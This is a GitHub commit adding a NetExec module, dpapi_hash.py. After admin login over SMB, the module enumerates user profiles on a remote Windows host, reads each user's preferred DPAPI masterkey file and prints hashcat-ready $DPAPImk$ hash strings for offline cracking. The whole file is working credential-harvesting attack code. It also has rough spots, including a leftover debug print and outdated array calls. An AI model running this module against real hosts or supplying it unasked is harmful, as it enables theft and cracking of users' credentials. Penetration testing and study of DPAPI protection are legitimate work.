Skip to content

Commit be9ee13

Browse files
committed
This module automate extraction of dpapi "hash" based on the user's protected masterkey
Big thanks to @Fist0urs for the awesome groundwork This work was presented a long time ago see https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf Currently the module is written to only generated dpapi "hash" in the context of a Domain (Hashcat -m 15310 or -m 15900) This is a first ugly version, lot of room for improvement
1 parent 398716d commit be9ee13

1 file changed

Lines changed: 289 additions & 0 deletions

File tree

nxc/modules/dpapi_hash.py

Lines changed: 289 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,289 @@
1+
import ntpath
2+
from dploot.lib.target import Target
3+
from dploot.lib.smb import DPLootSMBConnection
4+
import struct
5+
import binascii
6+
import array
7+
8+
# Based on dpapimk2john, original work by @fist0urs
9+
10+
11+
class Eater:
12+
def __init__(self, raw, offset=0, end=None, endianness="<"):
13+
self.raw = raw
14+
self.ofs = offset
15+
self.end = len(raw) if end is None else end
16+
self.endianness = endianness
17+
18+
def prepare_fmt(self, fmt):
19+
if fmt[0] not in ("<", ">", "!", "@"):
20+
fmt = self.endianness + fmt
21+
return fmt, struct.calcsize(fmt)
22+
23+
def read(self, fmt):
24+
fmt, sz = self.prepare_fmt(fmt)
25+
v = struct.unpack_from(fmt, self.raw, self.ofs)
26+
return v[0] if len(v) == 1 else v
27+
28+
def eat(self, fmt):
29+
fmt, sz = self.prepare_fmt(fmt)
30+
v = struct.unpack_from(fmt, self.raw, self.ofs)
31+
self.ofs += sz
32+
return v[0] if len(v) == 1 else v
33+
34+
def eat_string(self, length):
35+
return self.eat(f"{length}s")
36+
37+
def remain(self):
38+
return self.raw[self.ofs:self.end]
39+
40+
def eat_sub(self, length):
41+
sub = Eater(self.raw[self.ofs:self.ofs + length], endianness=self.endianness)
42+
self.ofs += length
43+
return sub
44+
45+
46+
class DPAPIBlob:
47+
def __init__(self, raw=None):
48+
# Initialization code
49+
pass
50+
51+
@staticmethod
52+
def hexstr(bytestr):
53+
return binascii.hexlify(bytestr).decode("ascii")
54+
55+
56+
class CryptoAlgo:
57+
class Algo:
58+
def __init__(self, data):
59+
self.__dict__.update(data)
60+
61+
_crypto_data = {}
62+
63+
@classmethod
64+
def add_algo(cls, algnum, **kargs):
65+
cls._crypto_data[algnum] = cls.Algo(kargs)
66+
if "name" in kargs:
67+
kargs["ID"] = algnum
68+
cls._crypto_data[kargs["name"]] = cls.Algo(kargs)
69+
70+
@classmethod
71+
def get_algo(cls, algnum):
72+
return cls._crypto_data.get(algnum)
73+
74+
def __init__(self, algnum):
75+
self.algnum = algnum
76+
self.algo = CryptoAlgo.get_algo(algnum)
77+
if not self.algo:
78+
raise ValueError(f"Algorithm number {algnum} not found in crypto data")
79+
80+
name = property(lambda self: self.algo.name)
81+
keyLength = property(lambda self: self.algo.keyLength // 8)
82+
ivLength = property(lambda self: self.algo.IVLength // 8)
83+
blockSize = property(lambda self: self.algo.blockLength // 8)
84+
digestLength = property(lambda self: self.algo.digestLength // 8)
85+
86+
def __repr__(self):
87+
return f"{self.algo.name} [{self.algnum:#x}]"
88+
89+
90+
def des_set_odd_parity(key):
91+
_lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254]
92+
tmp = array.array("B")
93+
tmp.fromstring(key)
94+
for i, v in enumerate(tmp):
95+
tmp[i] = _lut[v]
96+
return tmp.tostring()
97+
98+
99+
CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, IVLength=64, blockLength=64, keyFixup=des_set_odd_parity)
100+
CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, IVLength=64, blockLength=64, keyFixup=des_set_odd_parity)
101+
CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, IVLength=128, blockLength=128)
102+
CryptoAlgo.add_algo(0x660E, name="AES-128", keyLength=128, IVLength=128, blockLength=128)
103+
CryptoAlgo.add_algo(0x660F, name="AES-192", keyLength=192, IVLength=128, blockLength=128)
104+
CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, IVLength=128, blockLength=128)
105+
CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512)
106+
CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512)
107+
CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512)
108+
CryptoAlgo.add_algo(0x800C, name="sha256", digestLength=256, blockLength=512)
109+
CryptoAlgo.add_algo(0x800D, name="sha384", digestLength=384, blockLength=1024)
110+
CryptoAlgo.add_algo(0x800E, name="sha512", digestLength=512, blockLength=1024)
111+
112+
113+
def display_masterkey(Preferred):
114+
GUID1 = Preferred.read(8)
115+
GUID2 = Preferred.read(8)
116+
GUID = struct.unpack("<LHH", GUID1)
117+
GUID2 = struct.unpack(">HLH", GUID2)
118+
return f"{GUID[0]:08x}-{GUID[1]:04x}-{GUID[2]:04x}-{GUID2[0]:04x}-{GUID2[1]:08x}{GUID2[2]:04x}"
119+
120+
121+
class MasterKey:
122+
def __init__(self, raw=None, SID=None, context=None):
123+
self.decrypted = self.key = self.key_hash = None
124+
self.hmacSalt = self.hmac = self.hmacComputed = None
125+
self.cipherAlgo = self.hashAlgo = self.rounds = None
126+
self.iv = self.version = self.ciphertext = None
127+
self.SID = SID
128+
self.context = context
129+
self.parse(raw)
130+
131+
def parse(self, data):
132+
eater = Eater(data)
133+
self.version = eater.eat("L")
134+
self.iv = eater.eat("16s")
135+
self.rounds = eater.eat("L")
136+
self.hashAlgo = CryptoAlgo(eater.eat("L"))
137+
self.cipherAlgo = CryptoAlgo(eater.eat("L"))
138+
self.ciphertext = eater.remain()
139+
140+
def jhash(self, user, ctx):
141+
version, hmac_algo, cipher_algo = -1, None, None
142+
if "des3" in str(self.cipherAlgo).lower() and "hmac" in str(self.hashAlgo).lower():
143+
version, hmac_algo, cipher_algo = 1, "sha1", "des3"
144+
elif "aes-256" in str(self.cipherAlgo).lower() and "sha512" in str(self.hashAlgo).lower():
145+
version, hmac_algo, cipher_algo = 2, "sha512", "aes256"
146+
else:
147+
return f"Unsupported combination of cipher '{self.cipherAlgo}' and hash algorithm '{self.hashAlgo}' found!"
148+
context = 0
149+
if self.context == "domain":
150+
context = 2
151+
s = f"{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}"
152+
ctx.log.highlight(f"Context2: {s}")
153+
context = 3
154+
s = f"\n{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}"
155+
ctx.log.highlight(f"Context3: {s}")
156+
else:
157+
context = {"local": 1, "domain1607-": 2, "domain1607+": 3}.get(self.context, 0)
158+
s = f"{user}:$DPAPImk${version}*{context}*{self.SID}*{cipher_algo}*{hmac_algo}*{self.rounds}*{DPAPIBlob.hexstr(self.iv)}*{len(DPAPIBlob.hexstr(self.ciphertext))}*{DPAPIBlob.hexstr(self.ciphertext)}"
159+
return s
160+
161+
162+
class MasterKeyFile:
163+
def __init__(self, raw=None, SID=None, context=None):
164+
self.masterkey = self.backupkey = self.credhist = self.domainkey = None
165+
self.decrypted = False
166+
self.version = self.guid = self.policy = None
167+
self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0
168+
self.SID = SID
169+
self.context = context
170+
self.parse(raw)
171+
172+
def parse(self, data):
173+
eater = Eater(data)
174+
self.version = eater.eat("L")
175+
eater.eat("2L")
176+
self.guid = eater.eat("72s").decode("UTF-16LE").encode("utf-8")
177+
eater.eat("2L")
178+
self.policy = eater.eat("L")
179+
self.masterkeyLen = eater.eat("Q")
180+
self.backupkeyLen = eater.eat("Q")
181+
self.credhistLen = eater.eat("Q")
182+
self.domainkeyLen = eater.eat("Q")
183+
if self.masterkeyLen > 0:
184+
self.masterkey = MasterKey(eater.eat_sub(self.masterkeyLen).remain(), SID=self.SID, context=self.context)
185+
if self.backupkeyLen > 0:
186+
self.backupkey = MasterKey(eater.eat_sub(self.backupkeyLen).remain(), SID=self.SID, context=self.context)
187+
188+
189+
class NXCModule:
190+
name = "dpapi_hash"
191+
description = "Remotely dump Dpapi hash based on masterkeys"
192+
supported_protocols = ["smb"]
193+
opsec_safe = True
194+
multiple_hosts = True
195+
196+
def __init__(self, context=None, module_options=None):
197+
self.false_positive = (
198+
".",
199+
"..",
200+
"desktop.ini",
201+
"Public",
202+
"Default",
203+
"Default User",
204+
"All Users",
205+
)
206+
self.user_directories = "\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Protect"
207+
208+
def get_users(self, conn):
209+
users = []
210+
211+
users_dir_path = "Users\\*"
212+
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
213+
214+
for d in directories:
215+
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
216+
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
217+
return users
218+
219+
def on_admin_login(self, context, connection):
220+
self.context = context
221+
self.connection = connection
222+
self.share = connection.args.share
223+
224+
host = f"{connection.hostname}.{connection.domain}"
225+
domain = connection.domain
226+
username = connection.username
227+
kerberos = connection.kerberos
228+
aesKey = connection.aesKey
229+
use_kcache = getattr(connection, "use_kcache", False)
230+
password = getattr(connection, "password", "")
231+
lmhash = getattr(connection, "lmhash", "")
232+
nthash = getattr(connection, "nthash", "")
233+
234+
target = Target.create(
235+
domain=domain,
236+
username=username,
237+
password=password,
238+
target=host,
239+
lmhash=lmhash,
240+
nthash=nthash,
241+
do_kerberos=kerberos,
242+
aesKey=aesKey,
243+
use_kcache=use_kcache,
244+
)
245+
246+
conn = self.upgrade_connection(target=target, connection=connection.conn)
247+
# get users list
248+
users = self.get_users(conn)
249+
context.log.debug("Gathering DPAPI Hashes")
250+
251+
# search user directory to retrieve the prefered protected Masterkey
252+
for user in users:
253+
directory_path = self.user_directories.format(username=user)
254+
directorylist = conn.remote_list_dir(self.context.share, directory_path)
255+
try:
256+
for item in directorylist:
257+
if item.get_longname().startswith("S-"):
258+
sid = item.get_longname()
259+
print(f"on est quand même là {item}")
260+
context.log.debug(f"Found user SID: {sid}")
261+
mkfolder = ntpath.join(directory_path, item.get_longname())
262+
mkfoldercontent = conn.remote_list_dir(self.context.share, mkfolder)
263+
for mk in mkfoldercontent:
264+
if mk.get_longname() == "Preferred":
265+
preferredfile = ntpath.join(directory_path, mkfolder, mk.get_longname())
266+
Preferredcontent = conn.readFile(self.context.share, preferredfile)
267+
GUID1, GUID2 = Preferredcontent[:8], Preferredcontent[8:16]
268+
GUID = struct.unpack("<LHH", GUID1)
269+
GUID2 = struct.unpack(">HLH", GUID2)
270+
masterkey = f"{GUID[0]:08x}-{GUID[1]:04x}-{GUID[2]:04x}-{GUID2[0]:04x}-{GUID2[1]:08x}{GUID2[2]:04x}"
271+
masterkeypath = ntpath.join(directory_path, mkfolder, masterkey)
272+
masterkeycontent = conn.readFile(self.context.share, masterkeypath)
273+
masterkeyfile_obj = MasterKeyFile(masterkeycontent, SID=sid, context="domain")
274+
if masterkeyfile_obj.masterkey:
275+
masterkeyfile_obj.masterkey.jhash(user, context)
276+
except Exception as e:
277+
context.log.debug(f"{e}")
278+
continue
279+
280+
def upgrade_connection(self, target: Target, connection=None):
281+
conn = DPLootSMBConnection(target)
282+
if connection is not None:
283+
conn.smb_session = connection
284+
else:
285+
conn.connect()
286+
return conn
287+
288+
def options(self, context, module_options):
289+
""" """

0 commit comments

Comments
 (0)